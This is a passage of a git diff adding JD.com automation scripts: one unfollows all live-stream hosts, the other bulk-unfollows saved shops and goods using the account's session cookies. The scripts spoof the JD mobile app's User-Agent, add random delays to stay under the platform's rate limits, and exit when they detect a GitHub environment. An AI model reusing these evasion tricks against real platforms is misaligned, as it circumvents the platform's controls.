t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_unsubscriLive.js b/jd_unsubscriLive.js new file mode 100644 index 0000000..4bc2753 --- /dev/null +++ b/jd_unsubscriLive.js @@ -0,0 +1,253 @@ +/* +脚本:取关主播 +更新时间:2021-07-27 +默认:每运行一次脚本取关所有主播 + +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js, 小火箭 +==============Quantumult X=========== +[task_local] +#取关所有主播 +55 6 * * * jd_unsubscriLive.js, tag=取关所有主播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===========Loon============ +[Script] +cron "55 6 * * *" script-path=jd_unsubscriLive.js,tag=取关所有主播 +============Surge============= +取关所有主播 = type=cron,cronexp="55 6 * * *",wake-system=1,timeout=3600,script-path=jd_unsubscriLive.js +===========小火箭======== +取关所有主播 = type=cron,script-path=jd_unsubscriLive.js, cronexpr="55 6 * * *", timeout=3600, enable=true + */ +const $ = new Env('取关所有主播'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + let aid = '' + if (!cookiesArr[0]) { + $.msg('【京东账号一】取关所有主播失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + allMessage += `京东账号${$.index} - ${$.nickName}\n`; + $.succs = 0; + $.fails = 0; + $.commlist = []; + $.olds = ''; + for (let i = 0; i < 100; i++) { + $.commlist.length = 0; + await GetRawFollowAuthor() + if ($.commlist.length == 0) { break } + for (let m = 0; m < $.commlist.length; m++) { + $.result = false; + $.authorId = $.commlist[m]['authorId'] + $.userName = $.commlist[m]['userName'] + await unsubscribeCartsFun() + if ($.result) { + aid = '&' + $.authorId + '&' + if ($.olds.indexOf(aid) == -1) { + $.succs += 1; + $.olds += aid; + } + $.fails = 0; + } else { + $.fails += 1; + if ($.fails > 4) { break } + } + await sleep(randomNum(800, 2200)) + } + console.log('取关一轮完成,等待3-6秒') + await sleep(randomNum(3000, 6000)) + } + allMessage += `成功取关主播数:${$.succs}\n`; + if ($.fails > 4) { + allMessage += `❗️❗️取关主播连续五次失败❗️❗️\n`; + } + allMessage += '\n' + } + } + if (allMessage) { + allMessage = allMessage.substring(0, allMessage.length - 1) + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +function randomNum(minNum, maxNum) { + switch (arguments.length) { + case 1: + return parseInt(Math.random() * minNum + 1, 10); + break; + case 2: + return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10); + break; + default: + return 0; + break; + } +} +function unsubscribeCartsFun(author) { + return new Promise(resolve => { + const options = { + "url": `https://m.jingxi.com/jxlive_user/UnFollow?authorId=${$.authorId}&platform=3&_=` + new Date().getTime().toString() + `&sceneval=2&g_login_type=1&callback=jsonpCBKE&g_ty=ls`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://st.jingxi.com/" + } + } + $.get(options, (err, resp, data) => { + if (data.indexOf('iRet":0') > 0) { + $.result = true; + console.log(`取关主播【${$.userName}】成功\n`) + } else { + console.log(`取关主播【${$.userName}】失败:` + data + `\n`) + } + resolve(data); + }); + }) +} + +function getStr(text, start, end) { + + var str = text; + var aPos = str.indexOf(start); + if (aPos < 0) { return null } + var bPos = str.indexOf(end, aPos + start.length); + if (bPos < 0) { return null } + var retstr = str.substr(aPos + start.length, text.length - (aPos + start.length) - (text.length - bPos)); + return retstr; + +} +function GetRawFollowAuthor() { + return new Promise((resolve) => { + const options = { + "url": `https://m.jingxi.com/jxlive_user/GetRawFollowAuthor?pagesize=10&pageno=1&_=` + (new Date().getTime() - 2000).toString() + `&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://st.jingxi.com/" + }, + } + //https://m.jingxi.com/jxlive_user/GetRawFollowAuthor?pagesize=10&pageno=1&_=1627380788998&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls + $.get(options, (err, resp, data) => { + let userInfo = {}, users = [] + try { + data = JSON.parse(getStr(data, 'jsonpCBKB(', ');')); + if (data.iRet === 0) { + for (let i = 0; i < data['data']['LiveIng'].length; i++) { + users.push({ 'authorId': data['data']['LiveIng'][i]['authorId'], 'userName': data['data']['LiveIng'][i]['userName'] }) + } + for (let i = 0; i < data['data']['PRLive'].length; i++) { + users.push({ 'authorId': data['data']['PRLive'][i]['authorId'], 'userName': data['data']['PRLive'][i]['userName'] }) + } + $.commlist = users + + console.log(`本轮取消主播数:${$.commlist.length}个\n`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_unsubscribe.js b/jd_unsubscribe.js new file mode 100644 index 0000000..67a9ebb --- /dev/null +++ b/jd_unsubscribe.js @@ -0,0 +1,776 @@ +/* + * @Author: X1a0He + * @Date: 2021-09-04 11:50:47 + * @LastEditTime: 2021-11-10 22:30:00 + * @LastEditors: X1a0He + * @Description: 批量取关京东店铺和商品 + * @Fixed: 不再支持Qx,仅支持Node.js + */ +const $ = new Env('批量取关店铺和商品'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let args_xh = { + /* + * 是否执行取消关注,默认true + * 可通过环境变量控制:JD_UNSUB + * */ + isRun: process.env.JD_UNSUB || true, + /* + * 执行完毕是否进行通知,默认false + * 可用环境变量控制:JD_TRY_PLOG + * */ + isNotify: process.env.JD_UNSEB_NOTIFY || false, + /* + * 每次获取已关注的商品数 + * 可设置环境变量:JD_UNSUB_GPAGESIZE,默认为20,不建议超过20 + * */ + goodPageSize: process.env.JD_UNSUB_GPAGESIZE * 1 || 20, + /* + * 每次获取已关注的店铺数 + * 可设置环境变量:JD_UNSUB_SPAGESIZE,默认为20,不建议超过20 + * */ + shopPageSize: process.env.JD_UNSUB_SPAGESIZE * 1 || 20, + /* + * 商品类过滤关键词,只要商品名内包含关键词,则不会被取消关注 + * 可设置环境变量:JD_UNSUB_GKEYWORDS,用@分隔 + * */ + goodsKeyWords: process.env.JD_UNSUB_GKEYWORDS && process.env.JD_UNSUB_GKEYWORDS.split('@') || [], + /* + * 店铺类过滤关键词,只要店铺名内包含关键词,则不会被取消关注 + * 可设置环境变量:JD_UNSUB_SKEYWORDS,用@分隔 + * */ + shopKeyWords: process.env.JD_UNSUB_SKEYWORDS && process.env.JD_UNSUB_SKEYWORDS.split('@') || [], + /* + * 间隔,防止提示操作频繁,单位毫秒(1秒 = 1000毫秒) + * 可用环境变量控制:JD_UNSUB_INTERVAL,默认为3000毫秒 + * */ + unSubscribeInterval: process.env.JD_UNSUB_INTERVAL * 1 || 1000, + /* + * 是否打印日志 + * 可用环境变量控制:JD_UNSUB_PLOG,默认为true + * */ + printLog: process.env.JD_UNSUB_PLOG || true, + /* + * 失败次数,当取关商品或店铺时,如果连续 x 次失败,则结束本次取关,防止死循环 + * 可用环境变量控制:JD_UNSUB_FAILTIMES,默认为3次 + * */ + failTimes: process.env.JD_UNSUB_FAILTIMES || 3 +} +!(async() => { + console.log('X1a0He留:运行前请看好脚本内的注释,日志已经很清楚了,有问题带着日志来问') + if(args_xh.isRun){ + if(!cookiesArr[0]){ + $.msg('【京东账号一】取关京东店铺商品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + } + await requireConfig(); + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if($.isNode()){ + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.shopsKeyWordsNum = 0; + $.goodsKeyWordsNum = 0; + $.unsubscribeGoodsNum = 0; + $.unsubscribeShopsNum = 0; + $.goodsTotalNum = 0 //记录当前总共关注了多少商品 + $.shopsTotalNum = 0; //记录当前总共关注了多少店铺 + $.commIdList = ``; + $.shopIdList = ``; + $.endGoods = $.endShops = false; + $.failTimes = 0; + console.log(`=====京东账号${$.index} ${$.nickName || $.UserName}内部变量=====`) + console.log(`$.unsubscribeGoodsNum: ${$.unsubscribeGoodsNum}`) + console.log(`$.unsubscribeShopsNum: ${$.unsubscribeShopsNum}`) + console.log(`$.goodsTotalNum: ${$.goodsTotalNum}`) + console.log(`$.shopsTotalNum: ${$.shopsTotalNum}`) + console.log(`$.commIdList: ${$.commIdList}`) + console.log(`$.shopIdList: ${$.shopIdList}`) + console.log(`$.failTimes: ${$.failTimes}`) + console.log(`================`) + await favCommQueryFilter(); //获取商品并过滤 + await $.wait(1000) + if(!$.endGoods && parseInt($.goodsTotalNum) !== parseInt($.goodsKeyWordsNum)) await favCommBatchDel();//取关商品 + else console.log("不执行取消收藏商品\n") + await $.wait(args_xh.unSubscribeInterval) + await queryShopFavList(); //获取店铺并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endShops && parseInt($.shopsTotalNum) !== parseInt($.shopsKeyWordsNum)) await batchunfollow(); //取关店铺 + else console.log("不执行取消收藏店铺\n") + do { + //如果商品总数和店铺总数都为0则已清空,跳出循环 + if(parseInt($.goodsTotalNum) === 0 && parseInt($.shopsTotalNum) === 0) break; + else { + //如果商品总数或店铺总数有一个不为0的话,先判断是哪个不为0 + if(parseInt($.goodsTotalNum) !== 0){ + if(parseInt($.goodsTotalNum) === parseInt($.goodsKeyWordsNum)) break; + else { + $.commIdList = `` + await favCommQueryFilter(); //获取商品并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endGoods && parseInt($.goodsTotalNum) !== parseInt($.goodsKeyWordsNum)) await favCommBatchDel(); //取关商品 + else console.log("不执行取消收藏商品\n") + } + } else if(parseInt($.shopsTotalNum) !== 0){ + if(parseInt($.shopsTotalNum) === parseInt($.shopsKeyWordsNum)) break; + else { + $.shopIdList = `` + await queryShopFavList(); //获取店铺并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endShops && parseInt($.shopsTotalNum) !== parseInt($.shopsKeyWordsNum)) await batchunfollow(); //取关店铺 + else console.log("不执行取消收藏店铺\n") + } + } + } + if($.failTimes >= args_xh.failTimes){ + console.log('失败次数到达设定值,触发防死循环机制,该帐号已跳过'); + break; + } + } while(true) + await showMsg_xh(); + } + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function requireConfig(){ + return new Promise(resolve => { + if($.isNode() && process.env.JD_UNSUB){ + args_xh.isRun = process.env.JD_UNSUB === 'true'; + args_xh.isNotify = process.env.JD_UNSEB_NOTIFY === 'true'; + args_xh.printLog = process.env.JD_UNSUB_PLOG === 'true'; + console.log('=====环境变量配置如下=====') + console.log(`isNotify: ${typeof args_xh.isNotify}, ${args_xh.isNotify}`) + console.log(`goodPageSize: ${typeof args_xh.goodPageSize}, ${args_xh.goodPageSize}`) + console.log(`shopPageSize: ${typeof args_xh.shopPageSize}, ${args_xh.shopPageSize}`) + console.log(`goodsKeyWords: ${typeof args_xh.goodsKeyWords}, ${args_xh.goodsKeyWords}`) + console.log(`shopKeyWords: ${typeof args_xh.shopKeyWords}, ${args_xh.shopKeyWords}`) + console.log(`unSubscribeInterval: ${typeof args_xh.unSubscribeInterval}, ${args_xh.unSubscribeInterval}`) + console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) + console.log(`failTimes: ${typeof args_xh.failTimes}, ${args_xh.failTimes}`) + console.log('=======================') + } + resolve() + }) +} + +function showMsg_xh(){ + if(args_xh.isNotify){ + $.msg($.name, ``, 